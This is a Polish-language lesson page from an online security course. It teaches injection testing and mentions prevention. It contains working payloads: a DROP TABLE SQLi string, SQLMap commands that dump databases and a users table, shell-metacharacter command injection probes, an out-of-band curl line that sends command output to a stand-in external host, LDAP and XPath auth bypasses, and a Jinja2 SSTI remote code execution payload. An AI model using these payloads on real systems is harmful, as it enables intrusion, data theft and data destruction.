0Pricing
Cyber Security Academy · Lekcja

Testowanie podatności typu injection

Wykorzystają Państwo SQLMap, ręczne payloady i Burp do testowania wstrzyknięć SQL, poleceń i LDAP.

Testowanie podatności typu injection to bezpłatna lekcja Cyber Security Academy na CoddyKit. To lekcja 2 z 4. Możesz przeczytać całą lekcję poniżej za darmo — a potem ćwiczyć ją interaktywnie w przeglądarce z wbudowanym edytorem kodu i tutorem AI dostępnym 24/7. To część ścieżki edukacyjnej Cyber Security Academy, a Twój postęp synchronizuje się między webem a aplikacją CoddyKit. Kurs Cyber Security Academy zawiera 4 lekcji w sumie.

Klasy podatności typu injection

Do injection dochodzi, gdy niezaufane dane są przekazywane do interpretera jako część polecenia lub zapytania. Interpreter nie potrafi odróżnić danych od poleceń i wykonuje logikę kontrolowaną przez atakującego. Do tej klasy należą między innymi SQL injection, command injection, LDAP injection, XPath injection oraz template injection.

SQL Injection: testowanie ręczne

Testowanie SQL injection należy rozpocząć od prostych payloadów. Pojedynczy cudzysłów powoduje błąd składni SQL w podatnych aplikacjach. Należy sprawdzać komunikaty o błędach, różnice długości odpowiedzi oraz czas odpowiedzi.

# Test for SQLi:
' -- basic quote
'' -- doubled quote
1' OR '1'='1 -- always-true
1; DROP TABLE users -- statement terminator

# In URL:
https://target.com/item?id=1'

SQLMap do automatycznego SQLi

SQLMap automatyzuje wykrywanie i wykorzystywanie SQL injection: wykrywa punkty wstrzyknięcia, identyfikuje system DBMS, a także może zrzucać bazy danych, odczytywać pliki i uzyskać możliwość wykonywania kodu systemu operacyjnego na podatnych systemach.

# Basic scan
sqlmap -u 'http://target.com/item?id=1'

# With Burp request file
sqlmap -r request.txt

# Dump databases
sqlmap -u 'http://target.com/item?id=1' --dbs

# Dump a table
sqlmap -u '...' -D mydb -T users --dump

Testowanie command injection

Command injection występuje, gdy dane wprowadzone przez użytkownika są przekazywane do funkcji powłoki systemu operacyjnego. Należy testować metaznaki powłoki: średniki, potoki, odwrotne cudzysłowy oraz podstawianie poleceń $().

# Test inputs (form fields, URLs, headers):
; id
| id
`id`
$(id)
&& id

# Blind (no output): use time delays
; sleep 5
| ping -c 5 127.0.0.1

# Or out-of-band:
; curl http://collaborator.example.com/$(id)

LDAP Injection

LDAP injection manipuluje zapytaniami LDAP używanymi do uwierzytelniania i wyszukiwania w katalogu. Należy przetestować pola uwierzytelniania za pomocą: *)(uid=*))(|(uid=*, aby ominąć filtry.

XPath Injection

XPath injection dotyczy systemów uwierzytelniania opartych na XML. Podobnie jak w przypadku SQLi, payloady modyfikują zapytania XPath; ' or '1'='1 umożliwia ominięcie uwierzytelniania.

Template Injection (SSTI)

Server-Side Template Injection występuje, gdy dane wprowadzone przez użytkownika są renderowane przez silnik szablonów (Jinja2, Twig, Freemarker). Aby je wykryć, należy wstrzyknąć {{7*7}} — jeśli odpowiedź zawiera 49, występuje SSTI.

# Detection payloads:
{{7*7}}          # Jinja2, Twig
${7*7}           # Freemarker, EL
<%= 7*7 %>      # ERB (Ruby)

# RCE via Jinja2:
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Używanie Burp do testowania injection

Żądania należy wysyłać do Repeater i ręcznie wstrzykiwać payloady do każdego parametru. Do automatyzacji fuzzingu można użyć Intruder wraz z wordlistami payloadów do injection (SecLists zawiera doskonałe payloady tego typu).

# SecLists injection wordlists:
/usr/share/seclists/Fuzzing/SQLi/
/usr/share/seclists/Fuzzing/SSTI/
/usr/share/seclists/Fuzzing/command-injection*

Wykrywanie ślepych injection

Gdy nie ma widocznych danych wyjściowych, należy użyć opóźnień czasowych w celu potwierdzenia wykonania, zwrotnych połączeń DNS out-of-band (Burp Collaborator lub interactsh) oraz odpowiedzi opartych na wartościach logicznych (zmian długości treści).

Analizowanie komunikatów o błędach aplikacji

Szczegółowe komunikaty o błędach ujawniają typ bazy danych, strukturę zapytań i ścieżki plików — są nieocenione podczas tworzenia precyzyjnych payloadów. Oprócz zwykłych payloadów należy zawsze testować dane wejściowe ujawniające tryb debugowania lub błędy.

Informacje o zapobieganiu

Injection można zapobiegać za pomocą zapytań sparametryzowanych (SQLi), walidacji danych wejściowych i escapowania poleceń powłoki (command injection), a także przez unikanie renderowania danych użytkownika w szablonach (SSTI). Deweloperzy muszą rozumieć te zasady, aby pisać bezpieczny kod.

Szybki sprawdzian

Co potwierdza payload wykrywający SSTI {{7*7}}, jeśli odpowiedź zawiera 49?

Podsumowanie: testowanie injection

Podatności typu injection wynikają z mieszania danych i poleceń. Należy testować każde dane wejściowe kontrolowane przez użytkownika za pomocą payloadów SQL injection, command injection, template injection i LDAP injection. SQLMap służy do automatycznego testowania SQL injection, Burp Repeater do testów ręcznych, a techniki z opóźnieniami czasowymi i OOB do ślepego wykorzystywania podatności. Payloady i dowody należy zawsze dokumentować w raporcie.

Często zadawane pytania

Czy lekcja „Testowanie podatności typu injection” jest bezpłatna?

Tak — pełny tekst „Testowanie podatności typu injection” jest dostępny za darmo tutaj w sieci. Aby ćwiczyć ją interaktywnie (wbudowany edytor kodu i tutor AI dostępny 24/7) i odblokować resztę kursu Cyber Security Academy, przejdź na CoddyKit PRO. Kurs Cyber Security Academy zawiera 4 lekcji w sumie.

Co nauczysz się w „Testowanie podatności typu injection”?

Wykorzystają Państwo SQLMap, ręczne payloady i Burp do testowania wstrzyknięć SQL, poleceń i LDAP. Ćwiczysz Cyber Security Academy z praktycznym kodem, który uruchamiasz bezpośrednio w przeglądarce, a tutor AI dostępny 24/7 odpowiada na Twoje pytania podczas pracy nad lekcją.

Czy potrzebuję doświadczenia, aby zacząć Cyber Security Academy?

Nie wymagamy żadnego doświadczenia. Cyber Security Academy w CoddyKit jest strukturyzowany dla początkujących i zaawansowanych użytkowników, więc możesz zacząć tutaj lub od początku i uczyć się w swoim tempie. To lekcja 2 z 4.

Ile czasu zajmuje lekcja „Testowanie podatności typu injection”?

Większość lekcji CoddyKit trwa około 5–10 minut. Każda lekcja to mały, interaktywny krok, dzięki czemu robisz systematyczne postępy i zawsze wracasz dokładnie do tego samego miejsca — na webie i w aplikacji.

Czy mogę pisać i uruchamiać kod w tej lekcji Cyber Security Academy?

Tak. Każda lekcja Cyber Security Academy zawiera wbudowany edytor kodu, więc piszesz i uruchamiasz prawdziwy kod bezpośrednio w przeglądarce i od razu otrzymujesz sprzężenie zwrotne od AI — bez konfiguracji na komputerze.

Wszystkie lekcje w tym kursie

  1. Proxy Burp Suite i przechwytywanie żądań
  2. Testowanie podatności typu injection
  3. Testowanie uwierzytelniania i sesji
  4. Podatności związane z przesyłaniem plików i SSRF
← Powrót do Cyber Security Academy